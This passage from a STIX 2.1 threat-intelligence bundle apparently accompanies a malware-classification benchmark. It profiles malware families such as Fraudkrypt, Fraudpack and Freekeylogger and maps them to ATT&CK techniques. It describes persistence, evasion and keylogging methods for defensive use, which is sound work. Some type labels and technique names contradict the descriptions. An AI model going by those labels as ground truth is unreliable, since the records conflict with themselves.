      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Foxhiex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/foxhiex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d67f1f7-88dc-5eec-8795-7b959b417887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa4baf93-b0de-5a37-8dc7-b0ca0a87f130",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foxhiex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef147b2d-80d4-558d-bbad-4daa51a41e41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa4baf93-b0de-5a37-8dc7-b0ca0a87f130",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foxhiex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa7dd205-67a5-5f7a-8e97-deff68f51634",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa4baf93-b0de-5a37-8dc7-b0ca0a87f130",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foxhiex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--709b0358-80e4-58e2-929b-a4c390cb85f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa4baf93-b0de-5a37-8dc7-b0ca0a87f130",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foxhiex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ef5393c-b7be-53e7-b948-e77bfe59f1b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa4baf93-b0de-5a37-8dc7-b0ca0a87f130",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Foxhiex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--626548c1-7e77-53cf-94a4-5885783cfb81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fraud",
      "description": "<h3>Executive Summary</h3>\nFraud (often categorized as Trojan.Fraud, Rogue.Fraud, or FakeAV) is a generic classification for a highly aggressive form of Scareware or Rogue Antivirus. Masquerading as a legitimate, premium security suite or system optimizer, its true objective is to artificially induce panic in the user by generating endless fake security alerts and fabricated malware detections, extorting the user into purchasing a useless \"full version\" to clean their system.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFraud malware is heavily distributed via \"malvertising\" on low-tier websites, where deceptive banners flash warnings like \"Your PC is Infected! Click here to scan.\" It is also frequently bundled with pirated software or drive-by downloads via exploit kits.\n\nOnce executed, Fraud employs aggressive psychological manipulation and system lockdown tactics:\n<ul>\n<li><strong>Fake Scans and Fabricated Results:</strong> The software automatically runs highly convincing, yet entirely fake, system scans. It invariably \"detects\" dozens of high-risk trojans and viruses, often pointing to legitimate Windows system files (like `svchost.exe`) as the culprits.</li>\n<li><strong>System Disruption (Hostage Tactics):</strong> To force a purchase, the malware actively disrupts the user's experience. It may block the execution of legitimate applications (including real antivirus software, browsers, and Task Manager), hijack the browser to redirect to its payment portal, or hide desktop icons to simulate severe system damage.</li>\n<li><strong>Payment Extortion:</strong> The malware relentlessly prompts the user to input their credit card information to purchase a \"lifetime license\" to remove the non-existent threats.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Fraud (Rogue AV) infection results in immediate operational downtime, as the user is effectively locked out of standard applications by the scareware's disruption tactics. Furthermore, users who succumb to the extortion attempt suffer direct financial loss and compromise their credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Eradication:</strong> Because Fraud variants actively block the execution of legitimate removal tools, the infected machine must usually be booted into Windows Safe Mode (which prevents the scareware from starting) before an enterprise anti-malware scan can be executed.</li>\n<li><strong>Registry Remediation:</strong> After removing the core executables, responders must repair the Windows Registry, as this malware frequently alters `.exe` file association keys to intercept application launches.</li>\n<li><strong>Financial Remediation:</strong> If the user entered their credit card information, they must immediately contact their financial institution to cancel the card and dispute the fraudulent charges.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.Fraud",
        "Scareware.Fraud",
        "FakeAV"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fraud",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fraud"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9deeff7d-ba0c-584e-af0a-46b183a55d76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--626548c1-7e77-53cf-94a4-5885783cfb81",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraud exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc377596-fa12-5b55-abb8-7d5afb748824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--626548c1-7e77-53cf-94a4-5885783cfb81",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraud exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9406f3c1-faee-51dc-8e33-b9834dd60ee2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--626548c1-7e77-53cf-94a4-5885783cfb81",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraud exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da9ab49b-9692-5891-ac4f-d403e14caed8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fraudkrypt",
      "description": "Ransomware:Win32/Fraudkrypt is a malicious hybrid that blends the extortion tactics of Scareware with the destructive capability of Ransomware. Its primary objective is to frighten the user into paying a fee by locking the screen or encrypting a subset of files (`T1486`), often using a heavily customized, deceptive GUI that mimics law enforcement agencies or fake antivirus alerts (`T1491.002`).<br><br><b>Understanding Fraudkrypt (Scareware/Ransomware)</b><br>To an end-user, Fraudkrypt is terrifying. They are presented with a full-screen, uncloseable window claiming they have committed a crime or their computer is hopelessly corrupted, demanding immediate payment (often via pre-paid cards or Bitcoin) to 'unlock' the system. For an IT department, Fraudkrypt variants vary wildly in severity; some merely lock the screen (easily bypassed), while others actively encrypt data.<br><br><b>Execution and Extortion Mechanics</b><br>Fraudkrypt is typically delivered via exploit kits, malicious downloads, or spam. Upon execution, it immediately alters the Windows Registry (e.g., changing the `Shell` or `Userinit` keys in `Winlogon`) (`T1547.004`) to ensure its lock-screen launches immediately upon boot, before the user can access the desktop. It then either encrypts files or simply hides them (`T1564.001`), replacing the wallpaper with its extortion demand. It disables Task Manager and Registry Editor to prevent the user from terminating the process.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from severe user distress and downtime to actual data loss if encryption is used. Host-based IoCs include the highly visible, often poorly translated extortion screen, unauthorized modifications to `Winlogon` registry keys, and the presence of suspicious executables in `%AppData%` or `%Startup%`. Network IoCs include connections to payment processing portals or C2 servers. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fraudkrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fraudkrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b0d0b2e-f038-5ba2-b78e-a8836bf5c8f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da9ab49b-9692-5891-ac4f-d403e14caed8",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudkrypt exhibits technique T1486 (Data Encrypted for Impact (If the variant actually encrypts files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7cdfb38-f927-521f-bc7d-860e143351c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da9ab49b-9692-5891-ac4f-d403e14caed8",
      "target_ref": "attack-pattern--1903672b-fa6b-505d-bd64-28a101537fec",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudkrypt exhibits technique T1491.002 (Defacement: Internal Defacement (Displaying the fake law enforcement or scareware screen))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--173d9f5e-fa99-5098-8cc6-6fa3db6468fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da9ab49b-9692-5891-ac4f-d403e14caed8",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudkrypt exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Hijacking the boot process to display the lock screen))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a251d8b5-5249-56da-9728-fa659a6be0cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fraudload",
      "description": "FraudLoad (cataloged across security intelligence feeds under signatures including TrojanDownloader:Win32/FraudLoad, Trojan.FraudLoad, and Trojan-Downloader.Win32.FraudLoad) is a historic family of trojan downloaders active from 2009 to 2014, specifically created to deliver rogue security software and scareware (such as FakeVimes, Antivirus Pro, Winwebsec, and Desktop Defender). Distributed via Black Hat SEO search poisoning, malicious video codecs, and fake online malware scanners, FraudLoad silently establishes an initial foothold on Windows systems. Once active, FraudLoad downloads the main scareware GUI payload, terminates legitimate antivirus software processes, and configures the rogue executable to launch on every Windows startup, initiating false infection alerts and extortion payment demands. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/FraudLoad",
        "Trojan.FraudLoad",
        "Trojan-Downloader.Win32.FraudLoad",
        "Win32/FraudLoad",
        "FakeAV Loader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fraudload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fraudload"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fd9495b8-6a8f-50ac-9452-6a05e6fec986",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fraudpack",
      "description": "FraudPack (classified across antimalware research as Exploit:Win32/FraudPack, TrojanDownloader:Win32/FraudPack, and Exploit.FraudPack) is a notorious commercial web-based exploit kit and crimeware distribution package first identified in 2010. Sold on underground Russian-speaking cybercrime forums, FraudPack was designed to automate drive-by downloads on compromised websites. When an unsuspecting visitor lands on an infected webpage, FraudPack inspects the client browser User-Agent, operating system version, and installed third-party plugins (including Adobe Flash Player, Adobe Reader, Java Runtime Environment, and Microsoft Internet Explorer). It dynamically selects and serves weaponized browser and ActiveX exploits targeting known vulnerabilities (such as CVE-2010-0840 and CVE-2010-1885). Upon successful exploitation of memory or parsing bugs, FraudPack executes shellcode that downloads and launches secondary malware (such as Zeus banking trojans or fake antivirus scareware) silently in the background. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Exploit:Win32/FraudPack",
        "TrojanDownloader:Win32/FraudPack",
        "Win32/FraudPack",
        "FraudPack Exploit Kit",
        "FraudPack Crimeware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fraudpack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fraudpack"
        }
      ],
      "labels": [
        "exploit_kit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa9bea0f-9e99-595a-8a50-5e9fe83cefdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fraudrop",
      "description": "Fraudrop (cataloged across security software under designations including TrojanDropper:Win32/Fraudrop, Trojan:Win32/Fraudrop, and TrojanDropper.Fraudrop) is an obfuscated multi-stage Windows trojan dropper and malware distribution framework active in cybercriminal affiliate networks. Fraudrop is distributed primarily through deceptive software repacks, fake game cracks, and malicious download aggregators. Upon execution, Fraudrop conducts anti-debugging and sandbox evasion checks (verifying system memory, CPU core counts, and mouse movement). It drops secondary payloads (including infostealers, banking trojans, and crypto-ransomware) from encrypted resource sections into AppData or Temp directories, launching them using process hollowing or direct API calls (CreateProcessW). It configures persistence via Windows registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) to re-execute stagers upon reboot. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDropper:Win32/Fraudrop",
        "Trojan:Win32/Fraudrop",
        "Win32/Fraudrop",
        "TrojanDropper.Fraudrop",
        "Fraudrop Stager"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fraudrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fraudrop"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--615df1ac-a8fa-5743-ba11-613295c2dece",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fraudster",
      "description": "Trojan:Win32/Fraudster is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fraudster</b><br>To an end-user, a Fraudster infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fraudster is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fraudster is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fraudster frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fraudster reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fraudster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fraudster"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ace903a6-7ac4-5557-a97b-1b13fbc19cb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--615df1ac-a8fa-5743-ba11-613295c2dece",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudster exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6bb0765-7420-58e4-8d0a-25e9c57cb6a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--615df1ac-a8fa-5743-ba11-613295c2dece",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudster exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7bbeecc-fcc7-5327-9886-1f86699dd012",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--615df1ac-a8fa-5743-ba11-613295c2dece",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudster exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--167f5015-4e69-596c-bc4c-f6ef3e41fe07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--615df1ac-a8fa-5743-ba11-613295c2dece",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudster exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe79304f-48ed-542c-a685-ff2439de6dae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--615df1ac-a8fa-5743-ba11-613295c2dece",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fraudster exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb1d458d-603e-5244-a59c-54d4ae60ab4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Freekeylogger",
      "description": "FreeKeylogger (classified across endpoint security platforms as Spyware:Win32/FreeKeylogger, MonitoringTool:Win32/FreeKeylogger, and PUA:Win32/FreeKeylogger) represents a dual-use surveillance spyware family frequently deployed by malicious actors for clandestine credential theft and espionage on Windows hosts. Although ostensibly marketed as parental control or employee productivity monitoring utilities, threat actors weaponize FreeKeylogger by bundling it into trojanized freeware installers or installing it surreptitiously during unauthorized remote access sessions. FreeKeylogger runs entirely in stealth mode without displaying a system tray icon, desktop shortcut, or visible application window. It installs global low-level Windows keyboard hooks via `SetWindowsHookEx` (`WH_KEYBOARD_LL`) to capture every keystroke, including passwords, personal messages, and banking credentials. In addition to keystroke logging, the spyware monitors active application window titles, intercepts clipboard text, captures periodic desktop screenshots, and logs visited web URLs. The harvested data is written into hidden, encrypted local cache files and transmitted automatically via SMTP email, FTP, or HTTP POST to remote attacker-controlled infrastructure. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware:Win32/FreeKeylogger",
        "MonitoringTool:Win32/FreeKeylogger",
        "PUA:Win32/FreeKeylogger",
        "Free Keylogger Spyware",
        "Spyware.FreeKeylogger"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Freekeylogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/freekeylogger"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcbfc60d-6233-58d7-9c95-bab3d0e63073",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1d458d-603e-5244-a59c-54d4ae60ab4a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freekeylogger exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61431ade-8469-5eec-97da-21b9753349e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1d458d-603e-5244-a59c-54d4ae60ab4a",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freekeylogger exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90940b48-a0cd-52ff-b31a-9e3b622c0240",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1d458d-603e-5244-a59c-54d4ae60ab4a",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freekeylogger exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7475290-c134-5b65-854f-a27adc8df1be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1d458d-603e-5244-a59c-54d4ae60ab4a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freekeylogger exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16ace9eb-79a0-539a-a9ff-25f9e290f65a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1d458d-603e-5244-a59c-54d4ae60ab4a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freekeylogger exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5994d12e-c5ef-565a-856a-d7335974de09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Freenew",
      "description": "Adware:Win32/Freenew is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Freenew Adware</b><br>To an end-user, a Freenew infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Freenew is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Freenew extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Freenew",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/freenew"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fd24878-7835-576e-84a5-758f1a9a4c4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5994d12e-c5ef-565a-856a-d7335974de09",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freenew exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--669496c0-4187-52c0-90e1-d61322336a37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5994d12e-c5ef-565a-856a-d7335974de09",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freenew exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4f81b0c-ec4f-5ab4-b828-d9c09ae677a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
